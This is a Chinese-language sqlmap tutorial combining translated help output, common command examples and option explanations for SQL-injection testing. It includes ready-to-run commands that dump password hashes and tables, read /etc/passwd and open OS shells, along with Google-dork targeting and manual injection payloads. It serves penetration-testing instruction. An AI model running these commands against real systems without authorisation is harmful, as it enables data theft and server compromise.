当攻击一个存在漏洞的页面,它的 payload 注入结果显示(反射)在另一个页面(例如:frame)中,这种攻击就叫 SQL 二阶注入攻击。通常情况是用户在存在漏洞的页面输入内容存储到数据库而导致的漏洞。

你可以使用选项 --second-url 加上结果显示页面的 URL 地址,或者使用 --second-req 加上相应的请求文件路径,以此来测试此类型的 SQL 注入。

3、sqlmap 用户手册

用户手册:https://github.com/sqlmapproject/sqlmap/wiki/Introduction
用户手册(中文版):https://sqlmap.highlight.ink/

目录内容

  • 简介 - sqlmap 简介
  • 技术 - sqlmap 支持的 SQLi 技术
  • 功能 - 支持的功能简要列表
  • 下载和更新 - 使您的副本保持最新状态
  • 依赖项 - 有关使用的第三方库和工具的信息
  • 历史 - 2006 年至 2024 年的历史
  • 用法 - 所有选项开关的详尽分解以及示例

杂项

  • FAQ - 常见问题
  • 演示文稿 - sqlmap 团队在会议上提交的材料
  • 屏幕截图 - 演示某些功能的屏幕截图集合
  • 第三方库 - 有关 sqlmap 使用的第三方库和工具的详细信息

sqlmap 帮助 (-hh、-h)

用法:python sqlmap.py [选项]

选项:
  -h, --help            显示基本帮助信息并退出
  -hh                   显示高级帮助信息并退出
  --version             显示程序版本信息并退出
  -v VERBOSE            输出信息详细程度级别:0-6(默认为 1)

  目标:
    至少提供一个以下选项以指定目标

    -u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")
    -d DIRECT           可直接连接数据库的地址字符串
    -l LOGFILE          从 Burp 或 WebScarab 代理的日志文件中解析目标地址
    -m BULKFILE         从文本文件中获取批量目标
    -r REQUESTFILE      从文件中读取 HTTP 请求
    -g GOOGLEDORK       使用 Google dork 结果作为目标
    -c CONFIGFILE       从 INI 配置文件中加载选项

  请求:
    以下选项可以指定连接目标地址的方式

    -A AGENT, --user..  设置 HTTP User-Agent 头部值
    -H HEADER, --hea..  设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
    --method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
    --data=DATA         使用 POST 发送数据串(例如:"id=1")
    --param-del=PARA..  设置参数值分隔符(例如:&)
    --cookie=COOKIE     指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..")
    --cookie-del=COO..  设置 cookie 分隔符(例如:;)
    --live-cookies=L..  指定 Live cookies 文件以便加载最新的 Cookies 值
    --load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件
    --drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数
    --mobile            使用 HTTP User-Agent 模仿智能手机
    --random-agent      使用随机的 HTTP User-Agent
    --host=HOST         指定 HTTP Host
    --referer=REFERER   指定 HTTP Referer
    --headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
    --auth-cred=AUTH..  HTTP 认证凭证(username:password)
    --auth-file=AUTH..  HTTP 认证 PEM 证书/私钥文件
    --ignore-code=IG..  忽略(有问题的)HTTP 错误码(例如:401)
    --ignore-proxy      忽略系统默认代理设置
    --ignore-redirects  忽略重定向尝试
    --ignore-timeouts   忽略连接超时
    --proxy=PROXY       使用代理连接目标 URL
    --proxy-cred=PRO..  使用代理进行认证(username:password)
    --proxy-file=PRO..  从文件中加载代理列表
    --proxy-freq=PRO..  通过给定列表中的不同代理依次发出请求
    --tor               使用 Tor 匿名网络
    --tor-port=TORPORT  设置 Tor 代理端口代替默认端口
    --tor-type=TORTYPE  设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
    --check-tor         检查是否正确使用了 Tor
    --delay=DELAY       设置每个 HTTP 请求的延迟秒数
    --timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
    --retries=RETRIES   连接超时时重试次数(默认为 3)
    --randomize=RPARAM  随机更改给定的参数值
    --safe-url=SAFEURL  测试过程中可频繁访问且合法的 URL 地址(译者注:
                        有些网站在你连续多次访问错误地址时会关闭会话连接,
                        后面的“请求”小节有详细说明)
    --safe-post=SAFE..  使用 POST 方法发送合法的数据
    --safe-req=SAFER..  从文件中加载合法的 HTTP 请求
    --safe-freq=SAFE..  在访问给定的合法 URL 之间穿插发送测试请求
    --skip-urlencode    不对 payload 数据进行 URL 编码
    --csrf-token=CSR..  设置网站用来反 CSRF 攻击的 token
    --csrf-url=CSRFURL  指定可提取防 CSRF 攻击 token 的 URL
    --csrf-method=CS..  指定访问防 CSRF token 页面时使用的 HTTP 方法
    --csrf-retries=C..  指定获取防 CSRF token 的重试次数 (默认为 0)
    --force-ssl         强制使用 SSL/HTTPS
    --chunked           使用 HTTP 分块传输编码(POST)请求
    --hpp               使用 HTTP 参数污染攻击
    --eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  优化:
    以下选项用于优化 sqlmap 性能

    -o                  开启所有优化开关
    --predict-output    预测常用请求的输出
    --keep-alive        使用持久的 HTTP(S) 连接
    --null-connection   仅获取页面大小而非实际的 HTTP 响应
    --threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)

  注入:
    以下选项用于指定要测试的参数,
    提供自定义注入 payloads 和篡改参数的脚本

    -p TESTPARAMETER    指定需要测试的参数
    --skip=SKIP         指定要跳过的参数
    --skip-static       指定跳过非动态参数
    --param-exclude=..  用正则表达式排除参数(例如:"ses")
    --param-filter=P..  通过位置过滤可测试参数(例如:"POST")
    --dbms=DBMS         指定后端 DBMS(Database Management System,
                        数据库管理系统)类型(例如:MySQL)
    --dbms-cred=DBMS..  DBMS 认证凭据(username:password)
    --os=OS             指定后端 DBMS 的操作系统类型
    --invalid-bignum    将无效值设置为大数
    --invalid-logical   对无效值使用逻辑运算
    --invalid-string    对无效值使用随机字符串
    --no-cast           关闭 payload 构造机制
    --no-escape         关闭字符串转义机制
    --prefix=PREFIX     注入 payload 的前缀字符串
    --suffix=SUFFIX     注入 payload 的后缀字符串
    --tamper=TAMPER     用给定脚本修改注入数据

  检测:
    以下选项用于自定义检测方式

    --level=LEVEL       设置测试等级(1-5,默认为 1)
    --risk=RISK         设置测试风险等级(1-3,默认为 1)
    --string=STRING     用于确定查询结果为真时的字符串
    --not-string=NOT..  用于确定查询结果为假时的字符串
    --regexp=REGEXP     用于确定查询结果为真时的正则表达式
    --code=CODE         用于确定查询结果为真时的 HTTP 状态码
    --smart             只在使用启发式检测时才进行彻底的测试
    --text-only         只根据页面文本内容对比页面
    --titles            只根据页面标题对比页面

  技术:
    以下选项用于调整特定 SQL 注入技术的测试方法

    --technique=TECH..  使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
                        B: Boolean-based blind SQL injection(布尔型盲注)
                        E: Error-based SQL injection(报错型注入)
                        U: UNION query SQL injection(联合查询注入)
                        S: Stacked queries SQL injection(堆叠查询注入)
                        T: Time-based blind SQL injection(时间型盲注)
                        Q: inline Query injection(内联查询注入)
    --time-sec=TIMESEC  延迟 DBMS 的响应秒数(默认为 5)
    --union-cols=UCOLS  设置联合查询注入测试的列数目范围
    --union-char=UCHAR  用于暴力猜解列数的字符
    --union-from=UFROM  设置联合查询注入 FROM 处用到的表
    --dns-domain=DNS..  设置用于 DNS 渗出攻击的域名(译者注:
                        推荐阅读《在SQL注入中使用DNS获取数据》
                        http://cb.drops.wiki/drops/tips-5283.html,
                        在后面的“技术”小节中也有相应解释)
    --second-url=SEC..  设置二阶响应的结果显示页面的 URL(译者注:
                        该选项用于 SQL 二阶注入)
    --second-req=SEC..  从文件读取 HTTP 二阶请求

  指纹识别:
    -f, --fingerprint   执行广泛的 DBMS 版本指纹识别

  枚举:
    以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据

    -a, --all           获取所有信息、数据
    -b, --banner        获取 DBMS banner
    --current-user      获取 DBMS 当前用户
    --current-db        获取 DBMS 当前数据库
    --hostname          获取 DBMS 服务器的主机名
    --is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
    --users             枚举出 DBMS 所有用户
    --passwords         枚举出 DBMS 所有用户的密码哈希
    --privileges        枚举出 DBMS 所有用户特权级
    --roles             枚举出 DBMS 所有用户角色
    --dbs               枚举出 DBMS 所有数据库
    --tables            枚举出 DBMS 数据库中的所有表
    --columns           枚举出 DBMS 表中的所有列
    --schema            枚举出 DBMS 所有模式
    --count             获取数据表数目
    --dump              导出 DBMS 数据库表项
    --dump-all          导出所有 DBMS 数据库表项
    --search            搜索列,表和/或数据库名
    --comments          枚举数据时检查 DBMS 注释
    --statements        获取 DBMS 正在执行的 SQL 语句
    -D DB               指定要枚举的 DBMS 数据库
    -T TBL              指定要枚举的 DBMS 数据表
    -C COL              指定要枚举的 DBMS 数据列
    -X EXCLUDE          指定不枚举的 DBMS 标识符
    -U USER             指定枚举的 DBMS 用户
    --exclude-sysdbs    枚举所有数据表时,指定排除特定系统数据库
    --pivot-column=P..  指定主列
    --where=DUMPWHERE   在转储表时使用 WHERE 条件语句
    --start=LIMITSTART  指定要导出的数据表条目开始行数
    --stop=LIMITSTOP    指定要导出的数据表条目结束行数
    --first=FIRSTCHAR   指定获取返回查询结果的开始字符位
    --last=LASTCHAR     指定获取返回查询结果的结束字符位
    --sql-query=SQLQ..  指定要执行的 SQL 语句
    --sql-shell         调出交互式 SQL shell
    --sql-file=SQLFILE  执行文件中的 SQL 语句

  暴力破解:
    以下选项用于暴力破解测试

    --common-tables     检测常见的表名是否存在
    --common-columns    检测常用的列名是否存在
    --common-files      检测普通文件是否存在

  用户自定义函数注入:
    以下选项用于创建用户自定义函数

    --udf-inject        注入用户自定义函数
    --shared-lib=SHLIB  共享库的本地路径

  访问文件系统:
    以下选项用于访问后端 DBMS 的底层文件系统

    --file-read=FILE..  读取后端 DBMS 文件系统中的文件
    --file-write=FIL..  写入到后端 DBMS 文件系统中的文件
    --file-dest=FILE..  使用绝对路径写入到后端 DBMS 中的文件

  访问操作系统:
    以下选项用于访问后端 DBMS 的底层操作系统

    --os-cmd=OSCMD      执行操作系统命令
    --os-shell          调出交互式操作系统 shell
    --os-pwn            调出 OOB shell,Meterpreter 或 VNC
    --os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC
    --os-bof            利用存储过程的缓冲区溢出
    --priv-esc          数据库进程用户提权
    --msf-path=MSFPATH  Metasploit 框架的本地安装路径
    --tmp-path=TMPPATH  远程临时文件目录的绝对路径

  访问 Windows 注册表:
    以下选项用于访问后端 DBMS 的 Windows 注册表

    --reg-read          读取一个 Windows 注册表键值
    --reg-add           写入一个 Windows 注册表键值数据
    --reg-del           删除一个 Windows 注册表键值
    --reg-key=REGKEY    指定 Windows 注册表键
    --reg-value=REGVAL  指定 Windows 注册表键值
    --reg-data=REGDATA  指定 Windows 注册表键值数据
    --reg-type=REGTYPE  指定 Windows 注册表键值类型

  通用选项:
    以下选项用于设置通用的参数

    -s SESSIONFILE      从文件(.sqlite)中读入会话信息
    -t TRAFFICFILE      保存所有 HTTP 流量记录到指定文本文件
    --answers=ANSWERS   预设回答(例如:"quit=N,follow=N")
    --base64=BASE64P..  表明参数包含 Base64 编码的数据
    --base64-safe       使用 URL 与文件名安全的 Base64 字母表(RFC 4648)
    --batch             从不询问用户输入,使用默认配置
    --binary-fields=..  具有二进制值的结果字段(例如:"digest")
    --check-internet    在访问目标之前检查是否正常连接互联网
    --cleanup           清理 DBMS 中特定的 sqlmap UDF 与数据表
    --crawl=CRAWLDEPTH  从目标 URL 开始爬取网站
    --crawl-exclude=..  用正则表达式筛选爬取的页面(例如:"logout")
    --csv-del=CSVDEL    指定输出到 CVS 文件时使用的分隔符(默认为“,”)
    --charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")
    --dump-format=DU..  导出数据的格式(CSV(默认),HTML 或 SQLITE)
    --encoding=ENCOD..  指定获取数据时使用的字符编码(例如:GBK)
    --eta               显示每个结果输出的预计到达时间
    --flush-session     清空当前目标的会话文件
    --forms             解析并测试目标 URL 的表单
    --fresh-queries     忽略存储在会话文件中的查询结果
    --gpage=GOOGLEPAGE  指定所用 Google dork 结果的页码
    --har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中
    --hex               获取数据时使用 hex 转换
    --output-dir=OUT..  自定义输出目录路径
    --parse-errors      从响应中解析并显示 DBMS 错误信息
    --preprocess=PRE..  使用给定脚本做前处理(请求)
    --postprocess=PO..  使用给定脚本做后处理(响应)
    --repair            重新导出具有未知字符的数据(?)
    --save=SAVECONFIG   将选项设置保存到一个 INI 配置文件
    --scope=SCOPE       用正则表达式过滤目标
    --skip-heuristics   不对 SQLi/XSS 漏洞进行启发式检测
    --skip-waf          不对 WAF/IPS 进行启发式检测
    --table-prefix=T..  指定临时数据表名前(默认:"sqlmap")
    --test-filter=TE..  根据 payloads 和/或标题(例如:ROW)选择测试
    --test-skip=TEST..  根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
    --web-root=WEBROOT  指定 Web 服务器根目录(例如:"/var/www")
    

  杂项:
    以下选项不属于前文的任何类别

    -z MNEMONICS        使用短助记符(例如:“flu,bat,ban,tec=EU”)
    --alert=ALERT       在找到 SQL 注入时运行 OS 命令
    --beep              在问题提示或在发现 SQL 注入/XSS/FI 时发出提示音
    --dependencies      检查 sqlmap 缺少(可选)的依赖
    --disable-coloring  关闭彩色控制台输出
    --offline           在离线模式下工作(仅使用会话数据)
    --purge             安全删除 sqlmap data 目录所有内容
    --results-file=R..  指定多目标模式下的 CSV 结果输出路径
    --shell             调出交互式 sqlmap shell
    --tmp-dir=TMPDIR    指定用于存储临时文件的本地目录
    --unstable          为不稳定连接调整选项
    --update            更新 sqlmap
    --wizard            适合初级用户的向导界面

常用 sqlmap 命令

  • 1、sqlmap -u 注入点         扫描注入点
  • 2、sqlmap -g "关键词"        通过google搜索注入
  • 3、sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1
  • 4、指定参数注入 
        sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" 
        sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 
  • 5、指定方法和post的数据 
        sqlmap -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2" 
  • 6、指定cookie,可以注入一些需要登录的地址 
        sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 
  • 7、通过代理注入 
        sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 
  • 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 
       sqlmap -u "http://192.168.1.5/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 
  • 9、--dbms 指定数据,这样就不用猜测其他的数据库里。可以提高效率。     
        sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 --dbs
        sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test --tables
        sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin --columns
        sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin -C "username,password" --dump
  • 10、指纹判别数据库类型 
        sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 
  • 11、获取banner信息 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -b 
  • 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --users 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql" 
  • 13、显示指定的文件内容,一般用于php 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --file-read /etc/passwd 
  • 14、执行你自己的sql语句。 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --sql-query="SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" 
  • 15、union注入 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner 
  • 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。可以在注入的时候中断,有时间再继续。 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log" 
       sqlmap -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

目标 URL

至少提供一个以下选项以指定目标

  • -u URL, --url=URL   目标 URL,URL 最好使用英文的双引号包括。
            示例:sqlmap -u "http://www.vuln.cn/post.php?id=1"
  • -d DIRECT       可直接连接数据库的地址字符串
  • -l LOGFILE      从 Burp 或 WebScarab 代理的日志文件中解析目标地址:sqlmap -l burp.txt
  • -m BULKFILE      从文本文件中获取批量目标。从 Sitemap 中获取多个url:sqlmap -m 1.txt
        CSDN:https://blog.csdn.net/robots.txt
        爱奇艺:https://www.iqiyi.com/robots.txt
        简书:https://www.jianshu.com/robots.txt
  • -r REQUESTFILE      从抓包的请求文件中加载 HTTP 请求 :sqlmap -r url.txt。sqlmap 可以从一个文本文件中获取 HTTP 请求,这样就可以不设置其他参数(如 cookie、POST 数据等),txt 文件中的内容为 Web 数据包,如下:使用 fiddler 抓包​命令: sqlmap -r 5_Full.txt
    sqlmap -r "c:\tools\request.txt" -p "username" --dbms=mysql 指定 username 参数,比如文本文件内如下:
    POST /vuln.php HTTP/1.1
    Host: www.target.com
    User-Agent: Mozilla/4.0
    id=1
    当请求是HTTPS的时候你需要配合这个 --force-ssl 参数来使用,或者在 Host 头后面加上:443
  • -g GOOGLEDORK       利用 google 获取目标:sqlmap -g "inurl:\".php?id=1\""
  • -c CONFIGFILE       从 INI 配置文件中加载选项

参数和参数对应值的 2 种写法:

  • sqlmap.py -u "url" --tamper "xxx.py"
  • sqlmap.py -u "url" --tamper="xxx.py"

当给 sqlmap 一个 url 的时候,它会:

  • 1、判断可注入的参数
  • 2、判断可以用那种SQL注入技术来注入
  • 3、识别出哪种数据库
  • 4、根据用户选择,读取哪些数据

输出信息:-v

设置输出信息的详细等级,共有七个级别。默认级别为 1,输出包括普通信息,警告,错误,关键信息和 Python 出错回遡信息(如果有的话)。注意:可以使用该选项的短名称来设置详细等级,其中提供的开关(而不是选项)用字母 v 的个数来确定详细等级 -vv 表示等级2,-vvv 表示等级3,依此类推。

  • 0:只输出 Python 出错回溯信息,错误和关键信息。
  • 1:增加输出普通信息和警告信息。默认
  • 2:增加输出调试信息。这个等级可以更好的了解 sqlmap 内部实现了什么,特别是在检测阶段和使用接管功能时。
  • 3:增加输出已注入的 payloads。这个等级可以看到 sqlmap 发送了什么 SQL payloads,推荐使用这个等级,同时附加上使用选项 -t 生成的流量日志文件标准输出文件。
  • 4:增加输出 HTTP 请求。需要更深入地检测潜在 Bugs 或应对未知情况时,推荐使用 4 或以上等级。
  • 5:增加输出 HTTP 响应头
  • 6:增加输出 HTTP 响应内容。

示例:sqlmap.py -v 3 -u "http://www.xxx.com/a.php?id=x"

命令缩写:-z

如果使用参数太长太复杂,使用 " 缩写模式 " 可以简化。

示例:python sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

示例:python sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

优化 sqlmap 性能

参数:--threads  设置并发 HTTP(S) 请求

sqlmap 中支持设定 HTTP(S) 请求最大并发数。 这个特性依赖于多线程,因而继承了多线程的优点和缺陷。
当数据是通过 SQL 盲注技术,或者使用暴力破解相关开关获取时,可以运用这个特性。对于 SQL 盲注技术,sqlmap 首先在单线程中计算出查询目标的长度,然后启用多线程特性,为每一个线程分配查询的一个字符。当该字符被成功获取后,线程会结束并退出——结合 sqlmap 中实现的折半算法,每个线程最多发起 7 次 HTTP(S) 请求。
考虑运行性能和目标站点的可靠性因素,sqlmap 最大的并发请求数只能设置到 10。
值得注意的是,这个选项不能跟 --predict-output 一起使用。

开关:-o

设置这个开关表示隐含开启下面对应的选项和开关:
--keep-alive
--null-connection
--threads=3 默认值,可以设置更大值。
查看下面内容获取更多关于开关设置的详情。

开关:--predict-output   输出预测

这个开关用于推导算法,可对获取的数据特性进行线性数据分析预测。根据 txt/common-outputs.txt 里面的条目及集合论相关知识预测并给出可能性最高的字符数理统计表。如果目标字符值可以在最常见的输出结果中找到,那么接下来的字符数理统计表范围会逐渐缩小。配合从 DBMS(Database Management System,数据库管理系统)中获取的实例、表名和对应的权限,那么加速效果会显著提高。当然,你可以根据自身需求对常见的输出文件进行编辑,例如,你发现了数据库表名的常见模式或者其他模式。
值得注意的是,这个开关不能够和 --threads 一起使用。

开关:--keep-alive

这个开关参数设置 sqlmap 使用 HTTP(s) 持久化连接。
值得注意的是,这个开关不能够和 --proxy 一起使用。

开关:--null-connection

在 HTTP 请求中,存在可以获取 HTTP 响应大小而无须获取整个 HTTP 实体的特殊类型。这个技术可用于 SQL 盲注中,以区分响应结果是 True 还是 False。如果开启了这个开关,sqlmap 会测试并利用两种不同的 _NULL 连接_技术:RangeHEAD。如果目标服务器能够满足其中之一的请求方式,那将能够减小使用的带宽,加速整个测试过程。

这些技术的相关详情可见白皮书提升 SQL 盲注的性能——Take 2(带宽)

值得注意的是,这个开关不能和 --text-only 一起使用。

设置 http request(请求) 注入

http 请求相关设置。

示例:

  • 选项:--method。sqlmap 能自动检测 HTTP 请求中使用的 HTTP 方法。然而在某些情况下,可能需要强制指定使用 sqlmap 自动化不会使用的 HTTP 方法(例如:PUT)。因而该选项是可能被用到的(例如:--method=PUT)。
  • 选项:--data。HTTP 请求默认使用的方法是 GET,通过 --data 可以将 GET 改成 POST。
    get示例:sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"
    post示例:sqlmap -u "http://www.xxx.com/vuln.php" --data="uname=1&passwd=2&submit=Submit" -f --banner --dbs --users
    在使用 sqlmap 进行 post 型注入时,经常会出现请求遗漏导致注入失败的情况,可以即结合 burpsuite 来使用 sqlmap,用这种方法进行 post 注入测试会更准确,操作起来也非常容易。
    1. 浏览器打开目标地址 http:// www.2cto.com /Login.asp
    2. 配置 burp 代理(127.0.0.1:8080)以拦截请求
    3. 点击 login 表单的 submit 按钮
    4. 这时候 Burp 会拦截到了我们的登录POST请求
    5. 把这个 post 请求复制 为txt,我这命名为 search-test.txt 然后把它放至 sqlmap 目录下
    6. 执行命令:./sqlmap.py -r search-test.txt -p tfUPass
  • 选项:--param-del。参数分隔符。有些情况下,需要覆盖默认参数分隔符(例如:在 GET 和 POST 数据中的 &),以便 sqlmap 能够正确切割并处理每个参数。示例:sqlmap -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
  • cookie 注入 (level>=2时,sqlmap才会尝试注入Cookie参数)。选项和开关:--cookie--cookie-del--live-cookies--load-cookies--drop-set-cookie
    在以下两个方面 cookie 注入很有用:
            1、Web 应用程序需要基于 cookies 的身份验证,并且你知道对应的参数。
            2、你想对相关的 HTTP 头部进行检测和 SQL 注入。
    使用 sqlmap 发送带有 cookies 的请求,步骤如下:
            使用你最喜欢的浏览器登录该应用。
            从浏览器的选项或 HTTP 代理中复制 Cookie。
            回到 shell 并使用复制的 cookies 作为选项 --cookie 的值,运行 sqlmap。
            示例:sqlmap -u "存在注入url" --cookie="抓包抓到的cookie" --level=2
    注意,HTTP Cookie 值通常由字符 ; 分隔,而不是使用 &。sqlmap 也可以将它们识别为 parameter=value 即参数值对,对应的 GET 和 POST 参数也一样。如果分隔字符不是 ;,则可以使用选项 --cookie-del 来指定。
    在通信期间的任何时刻,如果 Web 应用程序的响应包含 Set-Cookie 响应头,sqlmap 将在所有其他 HTTP 请求中自动使用它的值作为 Cookie 的值。sqlmap 也将自动测试这些值是否存在 SQL 注入漏洞。这个特性可以通过提供开关 --drop-set-cookie 来关闭 —— sqlmap 则会忽略任何 Set-Cookie 响应头。
    反之亦然,如果你提供一个带有选项 --cookie 的 HTTP Cookie 请求头,并且目标 URL 在任何时候都发送一个 HTTP Set-Cookie 响应头,sqlmap 会询问你使用哪一组 cookies 来用于接下来的 HTTP 请求。
    选项 --live-cookies 可用于提供一个 cookies 文件,该文件可用于加载最新的 cookies 值。这意味着它会在每个请求发起之前被读取,以获取最新的 HTTP Cookie 头部。
    还有一个选项 --load-cookies,可以从包含 Netscape/wget 格式 cookies 的特殊文件中读取 cookies。
  • user-agent 注入。
    参数:--user-agent,--random-agent
    默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
    可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。
    当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
    示例:sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
  • host 注入。可以手动设置 HTTP Host 请求头值。默认情况下,HTTP Host 请求头从提供的目标 URL 中解析。注意,如果 --level 设置为 5 或以上,sqlmap 会对 HTTP User-Agent 请求头进行 SQL 注入测试。示例:sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 5   
  • referer 注入
    参数:--referer  支持伪造 HTTP Referer 请求头值。如果没有进行显式设置,默认情况下不会在 HTTP 请求中发送 HTTP Referer 请求头。注意,如果 --level 设置为 3 或更高,sqlmap 会对 HTTP Referer 请求头进行 SQL 注入测试。
    示例:sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
  • 额外的HTTP头。可以通过设置选项 --headers 来提供额外的 HTTP 请求头。每个请求头必须用换行符分隔,更好的方式是从 INI 配置文件读取。可以看看范本 sqlmap.conf 文件中的例子。
  • 参数:--scope  利用正则,过滤目标网址。例如:python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
  • 参数:--skip-urlencode 关掉 URL 参数值编码。 根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用--skip-urlencode参数。
  • 参数:--eval  每次请求时候执行自定义的python代码,在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。例子:python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"    每次请求时根据id参数值,做一次md5后作为hash参数的值。

后台注入:sqlmap.py -u "http://xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)" --forms

POST 登陆框注入。注入点:http://xxx.xxx.com/Login.asp

  • 方法 1:对着注入点使用 burpsuite 抓包,保存 txt 格式文件,执行命令:sqlmap.py -r search-test.txt -p 注入的字段
  • 方法 2:自动搜索表单。sqlmap -u http://www.xxx.com/Login.asp --forms  
  • 方法 3:指定参数。sqlmap -u http://xxx/Login.asp --data "tfUName=1&tfUPass=1"

搜索框注入。和 post 注入相同,只不过形式是注入搜索框,而不是 username 或 password。

  • 方法 1:sqlmap.py -u "http://xxxxxx.com/search.php(asp,aspx,jsp)" --data="抓包到的搜索框的信息" -p "指定搜索框里面的一个参数值"
  • 搜索框注入手工判断:
    ' and 1=1 and '%'=' 返回所以结果
    ' and 1=2 and '%'=' 无返回结果
    ' and exists (select * from sysobjects) and '%'=' 返回正常   //最后一个针对于mssql数据库系统对象表,针对于sql server(Mssql)数据库

注入

sqlmap 默认注入位置

默认情况下 sqlmap 会测试 URL 查询参数和 POST 数据参数。默认情况不满足时还可以通过 --level 和 --risk 扩展到 Cookie 和 HTTP 头等其他可控参数。如果上面还不满足时,还可以通过 -p 明确指定用逗号分隔的参数列表(这会使 sqlmap 忽略 --level 的设置),灵活控制测试范围。

  • 默认级别和测试范围。sqlmap 默认情况下(--level=1)只会测试显而易见的参数:URL 查询参数、POST 的数据参数。
    URL 中的查询参数 示例:测试 id 和 name 两个参数。sqlmap -u "http://example.com/page?id=1&name=test"
    POST 的数据参数 示例:测试 username 和 password 两个参数。sqlmap -u "http://example.com/login" --data="username=admin&password=123"
  • Cookie 参数。示例:测试通过 Cookie 传递的参数。sqlmap -u "http://example.com" --cookie="sessionid=abc123; userid=1"
  • HTTP 头参数。sqlmap 支持测试 HTTP 请求头中的可控参数,如 User-Agent、Referer、X-Forwarded-For 等。需要显式指定测试这些参数:sqlmap -u "http://example.com" --random-agent --headers="X-Forwarded-For: 127.0.0.1"
  • 特定的表单或参数指定。通过 -p 选项,sqlmap 可以限定只测试某些特定的参数。示例:测试 id 参数是否存在注入 sqlmap -u "http://example.com/page?id=1&name=test" -p "id"
  • 提升测试级别。通过增加 --level 和 --risk,可以扩展 sqlmap 测试的参数范围
        --level:控制测试的参数种类和数量。
                --level=1(默认):仅测试 URL 查询参数和 POST 数据。
                --level=2:增加 Cookie 测试。
                --level=3 及以上:增加 测试 HTTP 头参数(如 User-Agent、Referer 等)。
        --risk:控制测试的风险。
                --risk=1(默认):低风险 Payload。
                --risk=2:中风险,包括更激进的 Payload。
                --risk=3:高风险,可能引发系统异常。
